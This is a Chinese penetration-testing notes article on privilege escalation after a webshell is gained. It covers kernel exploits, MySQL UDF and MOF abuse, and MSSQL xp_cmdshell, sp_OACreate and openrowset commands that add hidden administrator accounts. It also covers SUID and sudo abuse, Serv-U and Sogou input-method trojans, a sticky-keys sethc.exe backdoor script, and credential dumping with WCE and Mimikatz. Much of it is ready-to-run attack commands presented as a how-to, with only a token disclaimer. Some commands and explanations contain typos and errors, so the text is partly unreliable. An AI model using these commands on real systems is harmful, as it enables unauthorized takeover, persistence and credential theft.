【超详细 | 提权篇】渗透笔记整理(建议收藏)
2022-9-27 08:0:54 Author: EchoSec(查看原文) 阅读量:37 收藏

    系统层面提权:拿到webshell后通过对漏洞和工具的利用获取服务器权限或用户名及密码,开启远程连接。

    网络层面提权:拿到webshell后无法绕过防火墙等来建立连接时可以通过反弹shell以及端口转发的方式来进一步控制。

系统漏洞提权之exp

windows下

寻找可写目录对其上传exp或cmd.exe,进行提权。

windows内核漏洞提权exp集合:

https://github.com/Secwiki/windows-kernel-exploits

eg:通过systeminfo查询相关补丁信息,查看是否有可利用的exp。

发现可以利用ms11_080漏洞进行提权,上传exp。

对其添加账户

查看账户

开启远程链接

linux下:

    linux提权后得到的是交互式shell,需要反弹才能进行下一步,因此先用nc或者lcx进行反弹,同理这里用unaem -a 查看,在exploit库里去寻找可以利用的模块,上传exp后利用chomd 给予权限(若exp为.c时需要先对其进行编译gcc xxx.c -o),添加用户。

linux内核提权漏洞exp集合:

https://github.com/SecWiki/linux-kernel-exploits

eg:脏牛

查看内核版本及信息 

上传shell.pl 

执行shell.pl 

开启监听

上传dirty.c 

编译dirty.c 

 生成一个root权限用户 

 使用putty链接 

数据库提权:

mysql

udf提权

    由于udf.dll文件引入mysql中时其中的函数会被作为mysql函数使用,因此可通过自定义函数来执行系统命令。

    mysql版本大于及5.1时udf.dll文件放在mysql安装目录的\lib\plugin才能创建自定义函数,若不存在需自行创建plugin。

eg:

在lib下创建plugin文件夹 并上传dll文件

修改mysql.ini文件 

创建cmdshell,增加新用户

create function cmdshell returns string soname "udf.dll"

 新增隐藏用户,并加入管理员组 

 nc开启监听 

 返回shell 

mof提权

    通过控制mof中的vbs脚本执行系统命令,通过load_file将文件写入wbem\mof中且每五秒执行一次

条件:版本为win2003及以下、secure_file_priv的值不为null eg:

1、有写权限的Webshell情况下:

找到可写目录上传mof文件,创建用户 

添加admin用户 

2、有写权限的数据库账号

利用大马上传mof文件 

使用sql语句将文件导入到具有读写 权限的目录下 

使用msf进行mof提权 

mssql:

利用扩展存储过程来执行系统命令

条件:mssql服务没有降权、有sa账号与密码

利用xp_cmdshell:

xp_cmdshell在mssql2005后是默认关闭的,若有sa权限可以将其开启

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

执行系统命令:

exec master.dbo.xp_cmdshell 'ipconfig'//查看ip信息
exec master..xp_cmdshell 'net user test 12345 /add' //添加用户
exec master..xp_cmdshell 'net user localgroup administrators test /add' //添加新用户至管理员组

eg:

修改为允许修改高级参数 

 打开xp_cmdshell扩展 

 添加用户 

添加至管理员组

利用SO_OACreate提权

同样,在2005后是默认关闭的,将其打开

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

执行系统命令:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add' //添加用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 123/add' //添加至管理员组

以上为2k系统下,xp和2k3需要在用户名后添加$,如 user 123$ 123/add

利用xp_rewrite提权

利用存储过程脚本可以写入注册表来实现对超级管理员账号的克隆。

在xp_cmdshell与沙盘模式开启的情况下, 利用jet.oledb执行系统命令

select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshell';
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

启用openrowset 与open datasource组件

exec sp_configure 'show advanced options',1;reconfigure//允许修改高级参数
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure//打开组件扩展
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')//添加用户
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators admin /add")')//添加新用户至管理员组

原生组件提权

suid提权

    (设置用户id)通过suid权限对二进制文件或程序来执行命令,因为当这类文件执行时,调用者会暂时获得该文件的文件拥有者权限

    可以通过命令查找具有root权限的suid文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

    常用于suid提权的文件与指令:vim、bash、more、less、nano、cp

sudo提权

    superuser do,普通用户在使用sudo 执行命令时会暂时拥有root权限,可以在该命令运行过程中调用系统命令运行/bin/bash,那么就是在root权限下运行bash了

    原理:Sudo 错误地在参数中转义了反斜杠字符,从而触发了缓冲溢出,最终导致任何本地用户都可以获得 root 权限。通常,在 shell 中(sudo -s 或 sudo -i)运行命令时,sudo 都会转义特殊的字符。但是,在使用 sudoedit -s 或 sudoedit -i 时实际上又没有进行转义,这使得缓冲区溢出成为了可能。

    利用sudo -v查看sudo版本,小于1.8.28时存在sudo漏洞,sudo su获得root权限

第三方软件\服务提权

server-u提权

对serverudaemon.ini有修改权限时

    对serverudaemon.ini进行修改,添加serveru的新用户进行登录,命令行输入对应服务器的ip地址及密码

ftp>quote site exec net user username passwd /add
ftp>quote site exec net localgroup administrators username /add

对serverudaemon.ini没有修改权限时

    查看serverudaemon.ini文件中passwd参数值,对其进行爆破,登录默认账号localadministrator, 默认密码#[email protected]$ak#.lk;[email protected] 。若被修改了,可下载安装目录下的serverAdmin.exe使用winhex(十六进制查看器),查找LocalAdministrator后面即可看到相应密码。

搜狗输入法提权:

    在低版本的搜狗输入法的根目录下有pinyinup.exe用来跟新词库,因此可以利用更改过名字的木马来伪装,当搜狗输入法更新词库时便会完成提权

eg: 构建木马

@echo off
@net user ndsec ndsecpw /add
@net localgroup administrators ndsec /add

将原本的更新程序重命名

上传新生成的

手动更新词库(等不及了) 

shift 后门

    通过粘滞键的功能在复制文件的同时对文件名进行更改,将cmd.exe文件复制到 c:\windows\system32\dllcache目录,并更名为sethc.exe

    远程连接靶机,bat运行后,注销系统,五次shift以system调用cmd 将经过quickbfc.exe进行编译的bat批处理文件,上传到webshell并执行,远程连接

eg:

echo 提权开始......
copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
copy c:\windows\system32\dllcache\sethc.exe c:\windows\system32\sethc.exe
echo 提权结束......

在远程连接后构建bat 

注销后连按五次shift

提权后的操作 密码抓取

BPD

上传BrowserPasswordDump.exe 并启动 

WCE(xp、2003、vista、2007、2008下)

将哈希值导出

摘取后注入 (wce路径下执行 wce.exe -s +hash )

用dir \domain\c$查看 列出文件(wce路径下) 

Mimikatz

Privilege::debug查看权限 

Sekurlsa::logonpasswords获取账户密码信息

>精彩回顾<

干货 | 红队快速批量打点的利器

【干货】最全的Tomcat漏洞复现

{Vulhub漏洞复现(一)ActiveMQ}

{Vulhub漏洞复现(二) Apereo CAS}

Cobalt Strike免杀脚本生成器|cna脚本|bypassAV

xss bypass备忘单|xss绕过防火墙技巧|xss绕过WAF的方法

【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

干货 | 横向移动与域控权限维持方法总汇

干货 | 免杀ShellCode加载框架

【干货】phpMyAdmin漏洞利用汇总

【神兵利器 | 附下载】一个用于隐藏C2的、开箱即用的Tools

分享 | 个人渗透技巧汇总(避坑)笔记

关注我

获得更多精彩

坚持学习与分享!走过路过点个"在看",不会错过

仅用于学习交流,不得用于非法用途

如侵权请私聊公众号删文

觉得文章不错给点个‘再看’吧


文章来源: http://mp.weixin.qq.com/s?__biz=MzU3MTU3NTY2NA==&mid=2247485857&idx=1&sn=3a825a29c1d8eae6f997a16c4906c8fc&chksm=fcdf55becba8dca851c5dd5b724b9fd3e889b5f3d79e1f25ec0bc33d76ae0f2ef5fa3a875a87#rd
如有侵权请联系:admin#unsafe.sh